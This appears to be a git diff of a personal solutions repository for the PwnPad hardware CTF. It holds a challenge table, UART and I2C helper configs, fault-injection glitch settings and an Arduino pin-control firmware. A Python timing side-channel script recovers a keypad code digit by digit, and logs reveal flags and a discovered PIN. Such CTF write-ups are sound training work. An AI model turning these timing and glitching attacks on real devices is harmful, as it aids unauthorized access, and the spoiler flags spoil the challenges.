+[RESULT] Candidate '0' average LOW-delay: 1031.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1032.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1032.00 ms
+[RESULT] Candidate '3' average LOW-delay: 1030.00 ms
+[SUCCESS] Device accepted code via UART: TS{D0n7_M355_w17h_t1m3} -> 25315294
+[SUCCESS] Discovered PIN: 25315294
+[INFO] Connections closed
+```
\ No newline at end of file
diff --git a/README.md b/README.md
new file mode 100644
index 0000000..3a25cd4
--- /dev/null
+++ b/README.md
@@ -0,0 +1,33 @@
+12Sec CTF - PwnPad v1.0
+===============
+
+This is where I am storing my documentation and solutions for the PwnPad CTF.
+
+>**There are spoilers here, if you dont want to read spoilers/solutions/flags then turn away now**
+>
+> You have been warned.
+>
+> **THIS REPO CONTAINS SPOILERS**
+
+That being said the solutions I have come up with may not be the intended solution, but they are what worked for me.
+
+## Status
+
+|done|#|Name|Topics|Description|
+|---|---|---|---|---|
+|[x]|[01](01.md)|Serial Snitch|`#UART`|Intercept and decode UART communication.|
+|[x]|[02](02.md)|Echo Chamber|`#UART`|Intercept and decode UART communication, with security through obscurity.|
+|[x]|[03](03.md)|Bus Whisperer|`#I2C`|Spy on I2C traffic to extract secrets.|
+|[x]|[04](04.md)|Invisible Wires|`#I2C`|Attack I2C when slave devices are missing.|
+|[x]|[05](05.md)|Code Heist|`#SPI` `#ISP` `#Flash` `#UART`|Dump and analyze firmware from flash.|
+|[x]|[06](06.md)|Hard Leak|`#SPI` `#ISP` `#EEPROM`|Extract data from the internal EEPROM.|
+|[x]|[07](07.md)|Power Trip|`#FaultInjection` `#UART`|Use glitching to bypass dead code statements.|
+|[x]|[08](08.md)|Glitch Storm|`#FaultInjection` `#UART`|Use glitching to bypass password verification.|
+|[x]|[09](09.md)|Clock Spy|`#SideChannel` `#UART`|Leak secrets using timing variations.|
+|[x]|[10](10.md)|Tempo Leak|`#SideChannel` `#UART`|Leak secrets using timing variations with a twist.|
+|[ ]|[11](11.md)|Chaos Chain: Glitchgate|`#FaultInjection` `#UART` |Combine UART and glitch attacks to break in.|
+|[x]|[12](12.md)|Chaos Chain: Timebomb|`#UART` `#SideChannel`|Combine UART and chain timing leaks to break in.|
+
+## The Board
+
+
\ No newline at end of file
diff --git a/docs/01_GoB.png b/docs/01_GoB.png
new file mode 100644
index 0000000..323ad56
--- /dev/null
+++ b/docs/01_GoB.png
Binary files differ
diff --git a/docs/01_GoB_config.py b/docs/01_GoB_config.py
new file mode 100644
index 0000000..19bd20d
--- /dev/null
+++ b/docs/01_GoB_config.py
@@ -0,0 +1,50 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+UART_NEWLINE = ""
+
+###
+# name, enabled, string to match
+###
+conditions = [
+ ['1', False, "", 'one'],
+ ['2', False, "", 'two'],
+ ['3', False, "", 'three'],
+]
+
+######
+# Custom functions
+######
+
+# Toggle states for each function
+toggle_state_one = 0
+toggle_state_two = 0
+toggle_state_three = 0
+
+def one():
+ global toggle_state_one
+ functions.send_uart_message("1")
+ functions.send_uart_message(str(toggle_state_one))
+ toggle_state_one = 1 - toggle_state_one
+
+def two():
+ global toggle_state_two
+ functions.send_uart_message("2")
+ functions.send_uart_message(str(toggle_state_two))
+ toggle_state_two = 1 - toggle_state_two
+
+def three():
+ global toggle_state_three
+ functions.send_uart_message("3")
+ functions.send_uart_message(str(toggle_state_three))
+ toggle_state_three = 1 - toggle_state_three
+
diff --git a/docs/01_setup.png b/docs/01_setup.png
new file mode 100644
index 0000000..2620b36
--- /dev/null
+++ b/docs/01_setup.png
Binary files differ
diff --git a/docs/02_GoB.png b/docs/02_GoB.png
new file mode 100644
index 0000000..f39dfc7
--- /dev/null
+++ b/docs/02_GoB.png
Binary files differ
diff --git a/docs/02_GoB_config.py b/docs/02_GoB_config.py
new file mode 100644
index 0000000..2671dec
--- /dev/null
+++ b/docs/02_GoB_config.py
@@ -0,0 +1,7 @@
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 31250
+
diff --git a/docs/02_logic_01.png b/docs/02_logic_01.png
new file mode 100644
index 0000000..a0172e4
--- /dev/null
+++ b/docs/02_logic_01.png
Binary files differ
diff --git a/docs/02_logic_02.png b/docs/02_logic_02.png
new file mode 100644
index 0000000..4fff1fb
--- /dev/null
+++ b/docs/02_logic_02.png
Binary files differ
diff --git a/docs/02_setup.png b/docs/02_setup.png
new file mode 100644
index 0000000..9da2c40
--- /dev/null
+++ b/docs/02_setup.png
Binary files differ
diff --git a/docs/03_logic.png b/docs/03_logic.png
new file mode 100644
index 0000000..82b6351
--- /dev/null
+++ b/docs/03_logic.png
Binary files differ
diff --git a/docs/03_setup.png b/docs/03_setup.png
new file mode 100644
index 0000000..4b3b988
--- /dev/null
+++ b/docs/03_setup.png
Binary files differ
diff --git a/docs/04_arduino.ino b/docs/04_arduino.ino
new file mode 100644
index 0000000..9fac534
--- /dev/null
+++ b/docs/04_arduino.ino
@@ -0,0 +1,31 @@
+// Minimal I2C slave that ACKs writes at address 0x12
+// Reads and discards incoming bytes so the master write is acknowledged
+#include
+
+const uint8_t SLAVE_ADDR = 0x12; // 18 decimal
+
+void setup() {
+ Wire.begin(SLAVE_ADDR); // start as slave at 0x12
+ Wire.onReceive(onReceive); // handle master write transfers
+ // LED gives a short visual indication of activity
+ pinMode(LED_BUILTIN, OUTPUT);
+ digitalWrite(LED_BUILTIN, LOW);
+}
+
+void loop() {
+ // No active work required in loop for this simple slave
+ delay(200);
+}
+
+// Called when the master writes to this slave
+void onReceive(int bytes) {
+ // Read and discard all incoming bytes so the master sees ACKs
+ while (Wire.available()) {
+ (void)Wire.read();
+ }
+
+ // Short LED flash to indicate a received transfer
+ digitalWrite(LED_BUILTIN, HIGH);
+ delay(40);
+ digitalWrite(LED_BUILTIN, LOW);
+}
\ No newline at end of file
diff --git a/docs/04_logic_01.png b/docs/04_logic_01.png
new file mode 100644
index 0000000..11e3729
--- /dev/null
+++ b/docs/04_logic_01.png
Binary files differ
diff --git a/docs/04_logic_02.png b/docs/04_logic_02.png
new file mode 100644
index 0000000..0f8368e
--- /dev/null
+++ b/docs/04_logic_02.png
Binary files differ
diff --git a/docs/04_setup.png b/docs/04_setup.png
new file mode 100644
index 0000000..41c193a
--- /dev/null
+++ b/docs/04_setup.png
Binary files differ
diff --git a/docs/05_GoB.png b/docs/05_GoB.png
new file mode 100644
index 0000000..24041fd
--- /dev/null
+++ b/docs/05_GoB.png
Binary files differ
diff --git a/docs/05_setup_01.png b/docs/05_setup_01.png
new file mode 100644
index 0000000..bed110a
--- /dev/null
+++ b/docs/05_setup_01.png
Binary files differ
diff --git a/docs/05_setup_02.png b/docs/05_setup_02.png
new file mode 100644
index 0000000..82f24d7
--- /dev/null
+++ b/docs/05_setup_02.png
Binary files differ
diff --git a/docs/07_GoB.png b/docs/07_GoB.png
new file mode 100644
index 0000000..34dc284
--- /dev/null
+++ b/docs/07_GoB.png
Binary files differ
diff --git a/docs/07_GoB_config.py b/docs/07_GoB_config.py
new file mode 100644
index 0000000..0ee78c6
--- /dev/null
+++ b/docs/07_GoB_config.py
@@ -0,0 +1,44 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+
+LENGTH = 10
+REPEAT = 10
+DELAY = 10
+
+###
+# ^ = pullup, v = pulldown
+###
+triggers = [
+ ['-', False], #0
+ ['^', True], #1
+ ['-', False], #2
+ ['-', False], #3
+ ['-', False], #4
+ ['-', False], #5
+ ['-', False], #6
+ ['-', False], #7
+]
+
+### name, enabled, string to match ###
+conditions = [
+ ["Flag", True, "TS{", "stop_glitch"],
+]
+
+def stop_glitch():
+ elapsed = functions.get_glitch_elapsed()
+
+ functions.set_trigger_value(1, False)
+ functions.set_uart_switch(False)
+
+ functions.glitching_switch(False)
+ functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})")
\ No newline at end of file
diff --git a/docs/07_logic.png b/docs/07_logic.png
new file mode 100644
index 0000000..743ca35
--- /dev/null
+++ b/docs/07_logic.png
Binary files differ
diff --git a/docs/07_setup.png b/docs/07_setup.png
new file mode 100644
index 0000000..a5c5fc3
--- /dev/null
+++ b/docs/07_setup.png
Binary files differ
diff --git a/docs/08_GoB.png b/docs/08_GoB.png
new file mode 100644
index 0000000..242458c
--- /dev/null
+++ b/docs/08_GoB.png
Binary files differ
diff --git a/docs/08_GoB_config.py b/docs/08_GoB_config.py
new file mode 100644
index 0000000..1185630
--- /dev/null
+++ b/docs/08_GoB_config.py
@@ -0,0 +1,108 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+
+LENGTH = 10
+REPEAT = 10
+DELAY = 10
+
+###
+# ^ = pullup, v = pulldown
+###
+triggers = [
+ ['-', False], #0
+ ['^', False], #1
+ ['-', False], #2
+ ['-', False], #3
+ ['-', False], #4
+ ['-', False], #5
+ ['-', False], #6
+ ['-', False], #7
+]
+
+###
+# name, enabled, string to match
+###
+conditions = [
+ ['rdy', False, "", 'setup_buttons'],
+ ['ok', False, "", 'button_ok'],
+ ['dash', False, "", 'button_dash'],
+ ['spce', False, "", 'button_space'],
+ ['dot', False, "", 'button_dot'],
+ ['check', False, "", 'echo_trigger_state'],
+ ["Flag", True, "TS{", "stop_glitch"],
+]
+
+######
+# Custom functions
+######
+def setup_buttons():
+ functions.run_output_low(0, 3000)
+ functions.run_output_low(1, 3000)
+ functions.run_output_low(2, 3000)
+ functions.run_output_low(3, 3000)
+
+def button_ok():
+ functions.run_output_high(0, 15000000) # Can also run_output_low() if needed
+ functions.set_trigger_value(0, True)
+ functions.run_output_low(0, 3000)
+
+ last_state = functions.get_trigger_value(0)
+ start_time = time.time()
+
+ while True:
+ current_state = functions.get_trigger_value(0)
+
+ # Detect rising edge: 0 → 1
+ if last_state == 0 and current_state == 1:
+ functions.set_trigger_value(0, False)
+ functions.add_text("[code check complete]")
+ break
+
+ # Exit if 1 second has elapsed
+ if time.time() - start_time >= 1.0:
+ functions.add_text("[timeout: no input detected within 1 second]")
+ break
+
+ last_state = current_state
+ time.sleep(0.01) # Polling interval (10 ms)
+
+
+def button_dash():
+ functions.run_output_high(1, 1500000) ## can also run_output_low() if need too
+ functions.run_output_low(1, 3000)
+
+def button_space():
+ functions.run_output_high(2, 1500000) ## can also run_output_low() if need too
+ functions.run_output_low(2, 3000)
+
+def button_dot():
+ functions.run_output_high(3, 1500000) ## can also run_output_low() if need too
+ functions.run_output_low(3, 3000)
+
+
+def echo_trigger_state():
+ for channel in range(8):
+ state = functions.get_trigger_value(channel)
+ if state == 1:
+ functions.add_text(f"Channel {channel}: HIGH")
+ else:
+ functions.add_text(f"Channel {channel}: LOW")
+
+def stop_glitch():
+ elapsed = functions.get_glitch_elapsed()
+
+ functions.set_trigger_value(1, False)
+ functions.set_uart_switch(False)
+
+ functions.glitching_switch(False)
+ functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})")
\ No newline at end of file
diff --git a/docs/08_logic.png b/docs/08_logic.png
new file mode 100644
index 0000000..e9e7189
--- /dev/null
+++ b/docs/08_logic.png
Binary files differ
diff --git a/docs/09_GoB.png b/docs/09_GoB.png
new file mode 100644
index 0000000..c772a3a
--- /dev/null
+++ b/docs/09_GoB.png
Binary files differ
diff --git a/docs/09_GoB_config.py b/docs/09_GoB_config.py
new file mode 100644
index 0000000..94c453d
--- /dev/null
+++ b/docs/09_GoB_config.py
@@ -0,0 +1,155 @@
+######
+# LEAVE THESE IMPORTS!
+######
+from arduinIO import ArduinoController
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+
+######
+# arduinIO values
+######
+ARDIO_PORT = "/dev/ttyACM2"
+ARDIO_BAUDRATE = 115200
+ARDIO_INPUT_PIN = 2
+ARDIO_OUTPUT_PINS = [8, 9, 10, 11] # ok, space, dot, dash
+ARDIO_PULSE_DURATION_MS = 300
+
+arduino = ArduinoController(port=ARDIO_PORT, baudrate=ARDIO_BAUDRATE)
+arduino.connect()
+
+###
+# name, enabled, string to match
+###
+conditions = [
+ ['rdy', False, "", 'setup_buttons'],
+ ['ok', False, "", 'button_ok'],
+ ['dash', False, "", 'button_dash'],
+ ['spce', False, "", 'button_space'],
+ ['dot', False, "", 'button_dot'],
+ ['check', False, "", 'echo_trigger_state'],
+ ['run', False, "", 'find_code'],
+]
+
+######
+# Custom functions
+######
+def setup_buttons():
+ version = arduino.get_version()
+ functions.add_text(f"[INFO] Connected to Arduino: {version}")
+
+ # Configure pins
+ functions.add_text("[INFO] Configuring pin modes...")
+ arduino.set_mode(ARDIO_INPUT_PIN, "INPUT")
+ for pin in ARDIO_OUTPUT_PINS:
+ arduino.set_mode(pin, "OUTPUT")
+ arduino.set_default(pin, "LOW")
+
+ # Display current configuration
+ pinmap = arduino.get_pinmap()
+ functions.add_text(f"[INFO] Pin map: {pinmap}")
+
+
+def button_ok():
+ # Pulse one output pin
+ functions.add_text(f"[INFO] Pulsing output pin 8 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def button_dash():
+ functions.add_text(f"[INFO] Pulsing output pin 11 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(11, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def button_space():
+ functions.add_text(f"[INFO] Pulsing output pin 9 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(9, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def button_dot():
+ functions.add_text(f"[INFO] Pulsing output pin 10 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(10, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def echo_trigger_state():
+ state = arduino.get_state(ARDIO_INPUT_PIN)
+ functions.add_text(f"[INFO] Input pin {ARDIO_INPUT_PIN} is currently {state}")
+
+def find_code():
+ """
+ Discover a five-digit code by sending candidate pulses and measuring the
+ interval from sending OK (pin 8) until input goes HIGH using wait_for().
+
+ For each digit:
+ - Send one pulse for previously found digits.
+ - Send repeated pulses of the candidate digit to fill 5 pulses.
+ - Pulse OK (pin 8) to trigger the device.
+ - Measure duration using wait_for() for input HIGH.
+ - Select candidate with the longest LOW duration before HIGH.
+ """
+ candidate_pins = [9, 10, 11]
+ code_sequence = []
+ pin_to_symbol = {8: "OK", 9: "Space", 10: ".", 11: "-"}
+
+ button_ok()
+ functions.add_text("[INFO] Pulsing output pin 8 to reset device...")
+ arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+ functions.add_text("[INFO] Starting full code discovery sequence...")
+
+ for digit_index in range(5):
+ functions.add_text(f"[INFO] Finding digit {digit_index + 1}...")
+ results = {}
+
+ for test_pin in candidate_pins:
+ # Build sequence: previously found digits + candidate repeated
+ sequence = code_sequence.copy()
+ remaining_pulses = 5 - len(sequence)
+ sequence += [test_pin] * remaining_pulses
+ symbol_seq = [pin_to_symbol.get(pin, str(pin)) for pin in sequence]
+ functions.add_text(f"[TEST] Testing pin {test_pin} ({pin_to_symbol.get(test_pin)}), "
+ f"sequence: {' '.join(symbol_seq)} ...")
+
+ # Send sequence pulses (without timing)
+ for pin in sequence:
+ arduino.set_for(pin, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.1)
+
+ # Start timer and pulse OK (pin 8)
+ start_time = time.time()
+ arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS)
+
+ # Wait for input to go HIGH and measure duration
+ result = arduino.wait_for(ARDIO_INPUT_PIN, "HIGH")
+ end_time = time.time()
+
+ # Use the Arduino-provided LOW duration, fallback to timer if needed
+ duration = result.get("duration_ms", int((end_time - start_time) * 1000))
+ functions.add_text(f"[RESULT] Pin {test_pin} - LOW->HIGH {duration} ms.")
+
+ results[test_pin] = duration
+ time.sleep(0.3)
+
+ # Select candidate with longest duration (correct digit)
+ correct_pin = max(results, key=results.get)
+ functions.add_text(f"[INFO] Digit {digit_index + 1} identified (pin): {correct_pin}")
+ functions.add_text(f"[INFO] Digit {digit_index + 1} identified (symbol): "
+ f"{pin_to_symbol.get(correct_pin)}")
+ code_sequence.append(correct_pin)
+
+ translated_sequence = [pin_to_symbol.get(pin, str(pin)) for pin in code_sequence]
+ functions.add_text(f"[INFO] Full code sequence identified (pins): {code_sequence}")
+ functions.add_text(f"[INFO] Full code sequence identified (symbols): {translated_sequence}")
+
+ return code_sequence, translated_sequence
\ No newline at end of file
diff --git a/docs/09_arduino.ino b/docs/09_arduino.ino
new file mode 100644
index 0000000..9d7d09b
--- /dev/null
+++ b/docs/09_arduino.ino
@@ -0,0 +1,352 @@
+/*
+=====================================================================
+ARDUINO SERIAL PIN CONTROL AND MONITORING FIRMWARE
+=====================================================================
+Version: 1.3.0
+Author: [Your Name]
+Board Support: UNO, NANO, MEGA2560, LEONARDO (auto-detected)
+
+DESCRIPTION
+---------------------------------------------------------------------
+This firmware enables external control and monitoring of Arduino
+digital pins through a serial interface. It is designed for
+integration with Python or similar host software.
+
+The firmware supports dynamic pin-mode configuration, runtime
+output control, input monitoring, duration measurement, and pin-map
+query. All commands and responses use ASCII text terminated by '\n'.
+
+=====================================================================
+ASCII COMMAND REFERENCE
+=====================================================================
+
++----------------+--------------------------------+-------------------------------------+-------------------------------------------------------------+
+| COMMAND | EXAMPLE REQUEST | EXAMPLE RESPONSE | DESCRIPTION |
++----------------+--------------------------------+-------------------------------------+-------------------------------------------------------------+
+| GET_VERSION | GET_VERSION | VERSION:1.3.0 | Returns firmware version to confirm serial communication. |
+| | | | |
+| SET_MODE | SET_MODE:8:OUTPUT | ACK:SET_MODE:8:OUTPUT | Configures a pin as INPUT or OUTPUT dynamically. |
+| | SET_MODE:2:INPUT | ACK:SET_MODE:2:INPUT | |
+| | | | |
+| GET_PINMAP | GET_PINMAP | PINMAP:INPUT:2;OUTPUT:8,9,10,11 | Returns the current input and output pin assignments. |
+| | | | |
+| SET_DEFAULT | SET_DEFAULT:8:HIGH | ACK:SET_DEFAULT:8:HIGH | Sets an output pin to a default state until changed. |
+| | | | |
+| SET_FOR | SET_FOR:9:HIGH:500 | ACK:SET_FOR:9:HIGH:500 | Sets an output pin to a state for a duration (ms). |
+| | | | Automatically reverts afterwards. |
+| | | | |
+| WATCH | WATCH:2 | ACK:WATCH:2 | Begins monitoring an input pin. Reports state changes as: |
+| | | CHANGE:2:HIGH:1421 | - Pin number, new state, and duration since last change. |
+| | | | |
+| GET_STATE | GET_STATE:2 | STATE:2:LOW | Returns current digital state of a specified pin. |
+| | | | |
+| GET_DURATION | GET_DURATION:2 | DURATION:2:1431 | Returns elapsed time since the pin’s last state change. |
+| | | | |
+| WAIT_FOR | WAIT_FOR:2:HIGH | WAIT_RESULT:2:HIGH:1432 | Waits until a pin reaches target state; returns duration. |
+| | | | |
+| ERROR HANDLING | UNKNOWN COMMAND | ERROR:UNKNOWN_COMMAND | Returned if a command is unrecognised or malformed. |
++----------------+--------------------------------+-------------------------------------+-------------------------------------------------------------+
+
+=====================================================================
+OPERATIONAL NOTES
+---------------------------------------------------------------------
+- Baud rate: 115200
+- Line termination: newline ('\n')
+- States are HIGH or LOW
+- Durations in milliseconds
+- All commands and responses are ASCII
+
+=====================================================================
+*/
+
+#include
+
+// ------------------------------------------------------------------
+// Board-specific pin range detection
+// ------------------------------------------------------------------
+#if defined(ARDUINO_AVR_UNO) || defined(ARDUINO_AVR_NANO)
+ const int FIRST_PIN = 2;
+ const int LAST_PIN = 13;
+#elif defined(ARDUINO_AVR_MEGA2560)
+ const int FIRST_PIN = 2;
+ const int LAST_PIN = 53;
+#elif defined(ARDUINO_AVR_LEONARDO)
+ const int FIRST_PIN = 2;
+ const int LAST_PIN = 13;
+#else
+ const int FIRST_PIN = 2;
+ const int LAST_PIN = 13;
+#endif
+
+const int NUM_PINS = LAST_PIN - FIRST_PIN + 1;
+
+// ------------------------------------------------------------------
+// Dynamic role and state tracking
+// ------------------------------------------------------------------
+bool isInput[NUM_PINS];
+bool isOutput[NUM_PINS];
+bool watching[NUM_PINS];
+unsigned long lastChangeTime[NUM_PINS];
+int lastState[NUM_PINS];
+
+// ------------------------------------------------------------------
+// Setup
+// ------------------------------------------------------------------
+void setup() {
+ Serial.begin(115200);
+
+ // Default: all usable pins configured as OUTPUT and LOW
+ for (int i = 0; i < NUM_PINS; i++) {
+ int pin = FIRST_PIN + i;
+ pinMode(pin, OUTPUT);
+ digitalWrite(pin, LOW);
+ isInput[i] = false;
+ isOutput[i] = true;
+ watching[i] = false;
+ lastState[i] = LOW;
+ lastChangeTime[i] = millis();
+ }
+
+ Serial.println("READY");
+}
+
+// ------------------------------------------------------------------
+// Main loop
+// ------------------------------------------------------------------
+void loop() {
+ handleSerial();
+ monitorWatchedPins();
+}
+
+// ------------------------------------------------------------------
+// Serial command processing
+// ------------------------------------------------------------------
+void handleSerial() {
+ static String inputString = "";
+ while (Serial.available()) {
+ char c = Serial.read();
+ if (c == '\n') {
+ inputString.trim();
+ processCommand(inputString);
+ inputString = "";
+ } else {
+ inputString += c;
+ }
+ }
+}
+
+// ------------------------------------------------------------------
+// Command dispatcher
+// ------------------------------------------------------------------
+void processCommand(String cmd) {
+ if (cmd == "GET_VERSION") {
+ Serial.println("VERSION:1.3.0");
+ } else if (cmd == "GET_PINMAP") {
+ handleGetPinmap();
+ } else if (cmd.startsWith("SET_MODE")) {
+ handleSetMode(cmd);
+ } else if (cmd.startsWith("SET_DEFAULT")) {
+ handleSetDefault(cmd);
+ } else if (cmd.startsWith("SET_FOR")) {
+ handleSetFor(cmd);
+ } else if (cmd.startsWith("WATCH")) {
+ handleWatch(cmd);
+ } else if (cmd.startsWith("GET_STATE")) {
+ handleGetState(cmd);
+ } else if (cmd.startsWith("GET_DURATION")) {
+ handleGetDuration(cmd);
+ } else if (cmd.startsWith("WAIT_FOR")) {
+ handleWaitFor(cmd);
+ } else {
+ Serial.println("ERROR:UNKNOWN_COMMAND");
+ }
+}
+
+// ------------------------------------------------------------------
+// Command handlers
+// ------------------------------------------------------------------
+
+// --- SET_MODE:PIN:MODE ------------------------------------------------
+void handleSetMode(String cmd) {
+ int first = cmd.indexOf(':');
+ int second = cmd.indexOf(':', first + 1);
+ if (first == -1 || second == -1) return;
+
+ int pin = cmd.substring(first + 1, second).toInt();
+ String mode = cmd.substring(second + 1);
+
+ if (pin < FIRST_PIN || pin > LAST_PIN) {
+ Serial.println("ERROR:INVALID_PIN");
+ return;
+ }
+
+ int index = pin - FIRST_PIN;
+ if (mode == "INPUT") {
+ pinMode(pin, INPUT);
+ isInput[index] = true;
+ isOutput[index] = false;
+ } else if (mode == "OUTPUT") {
+ pinMode(pin, OUTPUT);
+ isInput[index] = false;
+ isOutput[index] = true;
+ } else {
+ Serial.println("ERROR:INVALID_MODE");
+ return;
+ }
+
+ Serial.print("ACK:SET_MODE:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.println(mode);
+}
+
+// --- GET_PINMAP -------------------------------------------------------
+void handleGetPinmap() {
+ String response = "PINMAP:INPUT:";
+ bool firstInput = true;
+ for (int i = 0; i < NUM_PINS; i++) {
+ if (isInput[i]) {
+ if (!firstInput) response += ",";
+ response += String(FIRST_PIN + i);
+ firstInput = false;
+ }
+ }
+ response += ";OUTPUT:";
+ bool firstOutput = true;
+ for (int i = 0; i < NUM_PINS; i++) {
+ if (isOutput[i]) {
+ if (!firstOutput) response += ",";
+ response += String(FIRST_PIN + i);
+ firstOutput = false;
+ }
+ }
+ Serial.println(response);
+}
+
+// --- SET_DEFAULT:PIN:STATE --------------------------------------------
+void handleSetDefault(String cmd) {
+ int first = cmd.indexOf(':');
+ int second = cmd.indexOf(':', first + 1);
+ if (first == -1 || second == -1) return;
+
+ int pin = cmd.substring(first + 1, second).toInt();
+ String stateStr = cmd.substring(second + 1);
+ bool state = (stateStr == "HIGH");
+
+ digitalWrite(pin, state ? HIGH : LOW);
+ Serial.print("ACK:SET_DEFAULT:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.println(state ? "HIGH" : "LOW");
+}
+
+// --- SET_FOR:PIN:STATE:DURATION ---------------------------------------
+void handleSetFor(String cmd) {
+ int first = cmd.indexOf(':');
+ int second = cmd.indexOf(':', first + 1);
+ int third = cmd.indexOf(':', second + 1);
+ if (first == -1 || second == -1 || third == -1) return;
+
+ int pin = cmd.substring(first + 1, second).toInt();
+ String stateStr = cmd.substring(second + 1, third);
+ unsigned long duration = cmd.substring(third + 1).toInt();
+ bool state = (stateStr == "HIGH");
+
+ digitalWrite(pin, state ? HIGH : LOW);
+ delay(duration);
+ digitalWrite(pin, state ? LOW : HIGH);
+
+ Serial.print("ACK:SET_FOR:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.print(state ? "HIGH" : "LOW");
+ Serial.print(":");
+ Serial.println(duration);
+}
+
+// --- WATCH:PIN ---------------------------------------------------------
+void handleWatch(String cmd) {
+ int first = cmd.indexOf(':');
+ if (first == -1) return;
+
+ int pin = cmd.substring(first + 1).toInt();
+ int index = pin - FIRST_PIN;
+ if (index < 0 || index >= NUM_PINS || !isInput[index]) {
+ Serial.println("ERROR:INVALID_PIN");
+ return;
+ }
+ watching[index] = true;
+ Serial.print("ACK:WATCH:");
+ Serial.println(pin);
+}
+
+// --- GET_STATE:PIN -----------------------------------------------------
+void handleGetState(String cmd) {
+ int first = cmd.indexOf(':');
+ if (first == -1) return;
+ int pin = cmd.substring(first + 1).toInt();
+ int state = digitalRead(pin);
+ Serial.print("STATE:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.println(state == HIGH ? "HIGH" : "LOW");
+}
+
+// --- GET_DURATION:PIN --------------------------------------------------
+void handleGetDuration(String cmd) {
+ int first = cmd.indexOf(':');
+ if (first == -1) return;
+ int pin = cmd.substring(first + 1).toInt();
+ int index = pin - FIRST_PIN;
+ if (index < 0 || index >= NUM_PINS) return;
+ unsigned long duration = millis() - lastChangeTime[index];
+ Serial.print("DURATION:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.println(duration);
+}
+
+// --- WAIT_FOR:PIN:STATE ------------------------------------------------
+void handleWaitFor(String cmd) {
+ int first = cmd.indexOf(':');
+ int second = cmd.indexOf(':', first + 1);
+ if (first == -1 || second == -1) return;
+ int pin = cmd.substring(first + 1, second).toInt();
+ String targetStateStr = cmd.substring(second + 1);
+ bool targetState = (targetStateStr == "HIGH");
+ unsigned long startTime = millis();
+ while (digitalRead(pin) != targetState) {
+ delay(1);
+ }
+ unsigned long duration = millis() - startTime;
+ Serial.print("WAIT_RESULT:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.print(targetState ? "HIGH" : "LOW");
+ Serial.print(":");
+ Serial.println(duration);
+}
+
+// ------------------------------------------------------------------
+// Watch monitoring
+// ------------------------------------------------------------------
+void monitorWatchedPins() {
+ for (int i = 0; i < NUM_PINS; i++) {
+ if (watching[i] && isInput[i]) {
+ int pin = FIRST_PIN + i;
+ int currentState = digitalRead(pin);
+ if (currentState != lastState[i]) {
+ unsigned long now = millis();
+ unsigned long duration = now - lastChangeTime[i];
+ lastChangeTime[i] = now;
+ lastState[i] = currentState;
+ Serial.print("CHANGE:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.print(currentState == HIGH ? "HIGH" : "LOW");
+ Serial.print(":");
+ Serial.println(duration);
+ }
+ }
+ }
+}
diff --git a/docs/09_header_pins.png b/docs/09_header_pins.png
new file mode 100644
index 0000000..6b970b5
--- /dev/null
+++ b/docs/09_header_pins.png
Binary files differ
diff --git a/docs/09_logic_01.png b/docs/09_logic_01.png
new file mode 100644
index 0000000..ee2983b
--- /dev/null
+++ b/docs/09_logic_01.png
Binary files differ
diff --git a/docs/09_logic_02.png b/docs/09_logic_02.png
new file mode 100644
index 0000000..ea925d4
--- /dev/null
+++ b/docs/09_logic_02.png
Binary files differ
diff --git a/docs/09_logic_03.png b/docs/09_logic_03.png
new file mode 100644
index 0000000..4270c11
--- /dev/null
+++ b/docs/09_logic_03.png
Binary files differ
diff --git a/docs/09_result.png b/docs/09_result.png
new file mode 100644
index 0000000..69d6d2f
--- /dev/null
+++ b/docs/09_result.png
Binary files differ
diff --git a/docs/09_setup.png b/docs/09_setup.png
new file mode 100644
index 0000000..b73fbf5
--- /dev/null
+++ b/docs/09_setup.png
Binary files differ
diff --git a/docs/10_GoB.png b/docs/10_GoB.png
new file mode 100644
index 0000000..f694e8c
--- /dev/null
+++ b/docs/10_GoB.png
Binary files differ
diff --git a/docs/10_GoB_config.py b/docs/10_GoB_config.py
new file mode 100644
index 0000000..01de69c
--- /dev/null
+++ b/docs/10_GoB_config.py
@@ -0,0 +1,152 @@
+######
+# LEAVE THESE IMPORTS!
+######
+from arduinIO import ArduinoController
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+
+######
+# arduinIO values
+######
+ARDIO_PORT = "/dev/ttyACM2"
+ARDIO_BAUDRATE = 115200
+ARDIO_INPUT_PIN = 2
+ARDIO_OUTPUT_PINS = [8, 9, 10, 11] # ok, space, dot, dash
+ARDIO_PULSE_DURATION_MS = 300
+
